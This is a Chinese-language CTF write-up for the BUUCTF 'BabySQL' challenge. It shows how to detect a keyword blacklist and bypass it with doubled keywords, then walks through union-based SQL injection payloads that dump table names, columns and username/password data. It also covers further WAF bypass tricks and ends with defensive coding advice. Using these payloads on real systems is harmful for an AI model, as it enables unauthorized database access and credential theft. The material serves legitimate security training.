
1. 靶场环境与核心挑战解析最近在复盘一些经典的CTF Web题目BUUCTF平台上的“[极客大挑战2019]BabySQL”这道题可以说是学习SQL注入绕过技巧的一个绝佳入门案例。它没有复杂的二次注入或者堆叠查询核心就是考察对基础SQL注入中关键字过滤与绕过的理解。很多新手在掌握了union select这样的基础payload后一旦遇到简单的过滤机制就容易卡壳这道题正好能帮你跨过这个坎。题目通常是一个简单的登录框或者查询接口背后连接着一个数据库。当你尝试输入经典的admin or 11时可能会发现返回的页面提示“SQL Injection Checked”。这明确告诉我们题目部署了某种WAFWeb应用防火墙或简单的字符串过滤逻辑直接拦截了常见的SQL关键字。我们的目标就是找出它过滤了哪些词并用一些“小花招”绕过这些过滤最终从数据库中提取出flag信息。从“BabySQL”这个名字也能看出它面向的是初学者但“极客大挑战”又暗示其中有一些需要动脑筋的“小陷阱”。实战中这种基于黑名单的过滤非常常见理解它的原理和绕过方法是每个安全测试人员必备的基本功。接下来我们就一步步拆解这道题我会结合常见的过滤场景分享几种实用的绕过思路和具体操作。2. 初步探测与过滤规则分析面对一个可能存在过滤的注入点第一步永远不是直接上复杂的payload而是进行“侦察”。我们的目的是摸清对方的防守规则它到底过滤了哪些关键字是直接删除还是替换有没有大小写敏感2.1 基础探测与错误回显首先我们尝试最基础的注入测试观察回显。通常我们会输入admin或者1目的是触发一个SQL语法错误看看页面是否会返回数据库的报错信息。如果页面返回了类似于You have an error in your SQL syntax...这样的详细错误那对我们来说就是“福音”因为错误信息常常会泄露数据库结构、字段名甚至部分数据。在这道题中很可能没有详细的错误回显或者返回的是统一的拦截页面但这第一步试探是必要的。接着我们尝试一个永真条件测试注入点是否真的存在1 or 11如果这个payload被拦截了页面显示“SQL Injection Checked”或类似提示那我们就确认了过滤的存在。同时这也给了我们第一个线索它可能过滤了or这个关键字。2.2 系统性测试关键字黑名单现在我们需要系统地测试哪些SQL关键字被列入了黑名单。一个高效的方法是使用Burp Suite的Intruder模块或者手动逐个测试。常见的被过滤关键字包括union,select,from,where,and,orsleep,benchmark,updatexml,extractvalue(用于报错注入的函数)--,#(注释符)admin,password(可能是针对特定表名字段的过滤)测试方法很简单分别提交包含这些词的payload观察是否被拦截。例如提交1 union select 1,2,3#看是否拦截。提交1 and 11#看是否拦截。在“BabySQL”这道题里经过测试你会发现它过滤得非常“直白”它可能直接删除了union、select、from、where、and、or这些关键词。如何验证是“删除”而不是“拦截请求”呢你可以提交一个像1 ununionion seselectlect 1,2,3#这样的payload。如果过滤机制是简单地将union这个字符串删除那么处理过程会是union被删除剩下un和ion不更常见的逻辑是一次匹配删除。我们以union为例假设我们提交ununionion。过滤系统查找union字符串并删除。第一次它在字符串开头找到union即ununionion的前五个字符将其删除字符串变为ionion。过滤系统继续在结果字符串ionion中查找union找不到处理结束。最终 payload 里的union关键字就“消失”了。但我们的绕过payload利用了这一点。我们提交ununionion。过滤系统查找并删除第一个union字符位置2-6删除后字符串剩下的部分拼接起来是unionunion。看一个全新的union又出现了这是因为我们通过插入额外的字符这里是uni让系统删除掉中间那部分后剩下的字符恰好重新组合成了我们想要的关键字。这种绕过方式称为双写绕过。这是应对简单字符串删除过滤最经典、最有效的方法之一。你需要对每个被过滤的关键字进行双写。例如union-ununionionselect-selselectectfrom-frfromomwhere-whwhereereand-ananddor-oorr注意双写的具体方式取决于过滤是一次性删除所有匹配项还是循环删除直到没有匹配项。上述例子是基于最常见的“循环删除直到无法匹配”的逻辑。有些过滤可能只做一次匹配删除那样双写可能只需要ununionion删除中间的union后得到union即可。实战中需要简单测试一下。3. 构造完整的注入攻击链在摸清了过滤规则假设为双写绕过之后我们就可以开始构造完整的注入payload一步步获取数据库信息了。这个过程遵循一个标准的SQL注入信息收集流程查数据库名 - 查表名 - 查字段名 - 查数据。3.1 判断字段数列数首先我们需要知道当前查询语句返回了多少个字段列以便让我们的union select语句与之匹配。通常使用order by或group by子句来探测。 由于or可能被过滤我们使用oorr。同时注释符#或--也可能被过滤我们需要用来闭合后面的引号或者判断注入点是数字型还是字符型。假设是字符型注入我们构造1 anandd 11如果正常返回说明and用anandd绕过成功。然后判断字段数1 oorrder bbyy 1# // 尝试order by 1注意by可能也要双写为bbyy 1 oorrder bbyy 2# 1 oorrder bbyy 3# ...当order by n正常而order by n1报错或返回异常时就说明字段数为n。假设我们测出字段数是3。3.2 获取数据库名、用户名等信息确定了字段数后就可以使用union select来联合查询了。记住所有被过滤的关键字都需要双写。-1 ununionion seselectlect 1,2,3#这里id-1是为了让前一个原始查询不返回结果从而确保页面显示的是我们union select的结果。如果页面上的某个位置比如标题、某个文本处显示了数字2或3说明该位置可以回显查询结果。接下来我们利用这些回显点来获取信息。通常先查询数据库名和当前用户-1 ununionion seselectlect 1,database(),user()#如果database()或user()被过滤可以尝试用datadir、version()等函数或者直接查询information_schema。但这里我们假设database()可用。假设回显点在第2位我们看到了数据库名比如geek。3.3 获取表名知道了数据库名下一步就是获取这个数据库里有哪些表。这需要查询information_schema.tables系统表。-1 ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schemadatabase()#解释一下这个payloadgroup_concat(table_name): 将所有的表名连接成一个字符串返回避免一次只能显示一个表名。frfromom infoorrmation_schema.tables: 从系统表information_schema.tables中查询。注意from和information里的or都需要双写。whwhereere table_schemadatabase(): 条件限定为当前数据库。执行后我们可能在回显点看到类似b4bsql,geekuser,news...这样的结果。其中b4bsql和geekuser看起来就很像存有敏感信息的表。3.4 获取字段名假设我们怀疑b4bsql表里有flag。接下来需要获取这个表的所有字段名。查询information_schema.columns。-1 ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_nameb4bsql#这里table_nameb4bsql中的单引号是字符串标识不会被作为SQL关键字过滤。执行后我们可能得到id,username,password之类的字段名。3.5 提取目标数据Flag最后一步就是从目标表的指定字段中取出数据。-1 ununionion seselectlect 1,2,group_concat(username,0x7e,passwoorrd) frfromom b4bsql#这里group_concat(username,0x7e,password)将username和password字段的值用~0x7e是~的十六进制连接后一起显示。frfromom b4bsql直接从目标表查询。执行后在回显位置你很可能就看到类似admin~flag{this_is_the_flag}这样的字符串其中的flag{...}就是本题的答案。4. 其他可能的绕过技巧与深度思考双写绕过虽然在这道题里是正解但实际的WAF或过滤规则可能更复杂。这里再延伸几种常见的绕过思路方便你在遇到其他变种时能灵活应对。4.1 大小写混合绕过有些过滤规则是大小写敏感的只匹配小写的union、select。这时简单地使用UnIoN、SeLeCt就可能绕过。-1 UnIoN SeLeCt 1,2,3#4.2 内联注释绕过对于MySQL数据库可以使用/**/注释符将关键字拆开。一些简单的WAF可能不会识别被注释分隔的关键字。-1 uni/**/on sel/**/ect 1,2,3#甚至可以在注释里加些无意义的内容-1 u/*aaaa*/nion s/*bbbb*/elect 1,2,3#4.3 等价函数或语句替换如果某个特定函数被过滤可以寻找功能等价的其他函数或方法。database()被过滤可以尝试schema()(在MySQL中DATABASE()和SCHEMA()是同义词)。and被过滤可以尝试(但在URL中需要编码为%26%26)。or被过滤可以尝试||。‘被过滤可以尝试like、rlike、regexp。空格被过滤可以使用/**/、%0a(换行符)、%0d(回车符)、%09(制表符)、(加号在URL中需注意)来替代。4.4 编码与多重编码绕过有时WAF只检测解码一次后的内容。我们可以对payload进行二次或多次URL编码。 例如union的URL编码是%75%6e%69%6f%6e。如果WAF只做一次解码我们提交%2575%256e%2569%256f%256e对%75等再次编码。服务器端第一次解码得到%75%6e%69%6f%6e第二次解码才得到union可能就绕过了WAF的检测。4.5 利用数据库特性与非常规语法不同数据库有不同特性。在MySQL中还可以考虑用/*!50000union*/ select这是MySQL的特性/*!50000*/中的内容在MySQL版本大于等于5.00.00时会被执行而有些WAF可能不将其识别为关键字。在关键字中间加%00(空字节)但需要注意中间件或数据库对空字节的处理方式。实操心得在实际的渗透测试或CTF中不要只依赖一种方法。最好的策略是准备一个“绕过技术清单”当一种方法失效时快速尝试下一种。同时Burp Suite的Repeater模块是你最好的朋友可以方便地修改和重放payload观察响应变化。对于这道“BabySQL”题核心就是培养你这种“探测-分析-构造-验证”的思维流程以及面对简单黑名单过滤时的条件反射——双写。5. 防御视角如何避免此类注入漏洞作为开发者了解攻击手法是为了更好地防御。从这道题的反面我们可以学到以下几点至关重要的安全开发原则5.1 使用参数化查询预编译语句这是防止SQL注入的根本方法。无论是Java的PreparedStatement、Python的cursor.execute(sql, params)、PHP的PDO其原理都是将SQL语句的结构模板与数据参数分开发送给数据库。数据库先编译SQL结构再将参数作为纯数据处理从根本上杜绝了参数中的SQL指令被解析执行的可能。任何拼接字符串构造SQL语句的做法都是高危的。5.2 严格的输入验证与过滤如果因为历史遗留问题等原因无法全面使用参数化查询那么严格的输入验证是第二道防线。白名单优于黑名单这道题的黑名单过滤很容易被绕过。应该尽可能使用白名单例如对于“分类ID”这个参数只允许输入数字那么就用正则/^\d$/进行校验非数字一律拒绝。最小权限原则连接数据库的应用程序账号不应该拥有DROP、CREATE TABLE、FILE等高级权限。只赋予其完成业务所必需的最小权限通常是SELECT、INSERT、UPDATE、DELETE这样即使发生注入危害也能被限制。5.3 避免详细的错误回显像MySQL的详细错误信息会暴露表结构、路径等敏感信息。在生产环境中应该配置自定义的错误页面只向用户返回友好的错误提示如“系统内部错误”而将详细的错误日志记录到服务器端的安全日志文件中供管理员排查。5.4 使用Web应用防火墙WAFWAF可以作为一道外围防线基于规则库拦截常见的攻击payload。但必须明白WAF是“缓解”措施而非“根除”措施。攻击者可能利用0day、规则绕过等技术突破WAF。安全的核心始终在于应用代码本身。5.5 定期安全审计与渗透测试对代码进行定期的安全审计使用自动化工具如SAST扫描源代码中的安全隐患。同时聘请专业的安全团队或使用自动化渗透测试工具对线上系统进行模拟攻击主动发现类似SQL注入这样的漏洞。这道“BabySQL”题目就像一面镜子照出了开发中“黑名单过滤”这种安全措施的脆弱性。它告诉我们安全是一个需要持续关注、从设计和编码阶段就融入的体系而不是事后简单加几个字符串替换就能解决的。通过攻克这道题你不仅学会了一种绕过技巧更重要的是理解了攻击与防御背后的逻辑这才是CTF比赛和网络安全学习的真正价值所在。